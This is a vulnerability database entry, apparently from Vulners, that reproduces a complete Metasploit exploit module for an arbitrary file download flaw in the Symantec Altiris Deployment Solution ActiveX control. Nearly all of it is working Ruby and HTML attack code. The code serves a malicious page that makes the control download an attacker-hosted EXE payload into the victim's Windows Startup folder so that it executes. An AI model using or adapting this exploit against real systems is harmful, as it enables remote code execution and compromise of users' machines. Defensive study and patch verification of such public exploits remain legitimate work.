Altirix eXpress NS SC Download ActiveX控件任意文件下载漏洞

🗓️ 14 Sep 2009 00:00:00Reported by RootType
Altirix eXpress NS SC Download ActiveX控件任意文件下载漏

                                                ##
 # This file is part of the Metasploit Framework and may be subject to
 # redistribution and commercial restrictions. Please see the Metasploit
 # Framework web site for more information on licensing and terms of use.
 # http://metasploit.com/projects/Framework/
 ##
 
 require 'msf/core'
 
 class Metasploit3 &lt; Msf::Exploit::Remote
 
         include Msf::Exploit::Remote::HttpServer::HTML
         def initialize(info = {})
                 super(update_info(info,
                         'Name'           =&gt; 'Symantec Altiris Deployment Solution ActiveX Control Arbitrary File Download and Execute.',
                         'Description'    =&gt; %q{
                                 This module allows remote attackers to install and execute arbitrary files on a users file system via
                                 AeXNSPkgDLLib.dll (6.0.0.1418). This module was tested against Symantec Altiris Deployment Solution 6.9 sp3.
                         },
                         'License'        =&gt; 'MSF_LICENSE',
                         'Author'         =&gt; [ 'MC' ],
                         'Version'        =&gt; '$Revision:$',
                         'References'     =&gt;
                                 [
                                         [ 'URL', 'http://intevydis.com/vd-list.shtml' ], # same bug?
                                 ],
                         'Payload'        =&gt;
                                 {
                                         'Space'           =&gt; 2048,
                                         'StackAdjustment' =&gt; -3500,
                                 },
                          'DefaultOptions' =&gt;
                                 {
                                         'HTTP::compression' =&gt; 'gzip'
                                 },
                         'Platform'       =&gt; 'win',
                         'Targets'        =&gt;
                                 [
                                         [ 'Automatic', { } ],
                                 ],
                         'DisclosureDate' =&gt; 'Sep 7, 2009',
                         'DefaultTarget'  =&gt; 0))
 
                         register_options(
                                 [
                                         OptString.new('PATH',    [ true, &quot;The path to place the executable.&quot;, 'C:\\\\Documents and Settings\\\\All Users\\\\Start Menu\\\\Programs\\\\Startup\\\\' ]),
                                         OptString.new('URIPATH', [ true, &quot;The URI to use.&quot;, &quot;/&quot; ])
                                 ], self.class)
 
         end
 
         def autofilter
                 false
         end
 
         def check_dependencies
                 use_zlib
         end
 
         def on_request_uri(cli, request)
 
                 payload_url =  &quot;http://&quot;
                 payload_url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
                 payload_url += &quot;:&quot; + datastore['SRVPORT'] + get_resource() + &quot;/PAYLOAD&quot;
 
                 if (request.uri.match(/PAYLOAD/))
                         return if ((p = regenerate_payload(cli)) == nil)
                         data = Rex::Text.to_win32pe(p.encoded, '')
                         print_status(&quot;Sending EXE payload to #{cli.peerhost}:#{cli.peerport}...&quot;)
                         send_response(cli, data, { 'Content-Type' =&gt; 'application/octet-stream' })
                         return
                 end
 
                 vname  = rand_text_alpha(rand(100) + 1)
                 exe    = rand_text_alpha_upper(rand(5) + 1)
 
                 content = %Q|
         &lt;html&gt;
                 &lt;head&gt;
                         &lt;script&gt;
                                 try {
                                         var #{vname} = new ActiveXObject('Altiris.AeXNSPkgDL.1');
                                         #{vname}.DownloadAndInstall(&quot;#{payload_url}/#{exe}.EXE&quot;, &quot;#{datastore['PATH']}\\\\#{exe}.EXE&quot;, &quot;#{datastore['PATH']}\\\\#{exe}.EXE&quot;, &quot;&quot;, &quot;&quot;);
                                 } catch( e ) { window.location = 'about:blank' ; }
                         &lt;/script&gt;
                 &lt;/head&gt;
         &lt;/html&gt;
 
                 print_status(&quot;Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...&quot;)
 
                 send_response_html(cli, content)
       
                 handler(cli)
         end
 
 end
 =begin
 C:\Program Files\Altiris\eXpress\Deployment Web Console\DSWeb\utils\AltirisNSConsole.zip
 
 altiris_deploymentsolution_win_6_9_sp3_server.zip
 
       [id(0x00000007), helpstring(&quot;method DownloadAndInstall&quot;)]
 void DownloadAndInstall(
                 [in] BSTR Src,
                 [in] BSTR Dest,
                 [in] BSTR InstCmdLine,
                 [in] BSTR UpgdCmdLine,
                 [in] BSTR ProdCode);
 =end
14 Sep 2009 00:00Current
6.9Medium risk
Vulners AI Score6.9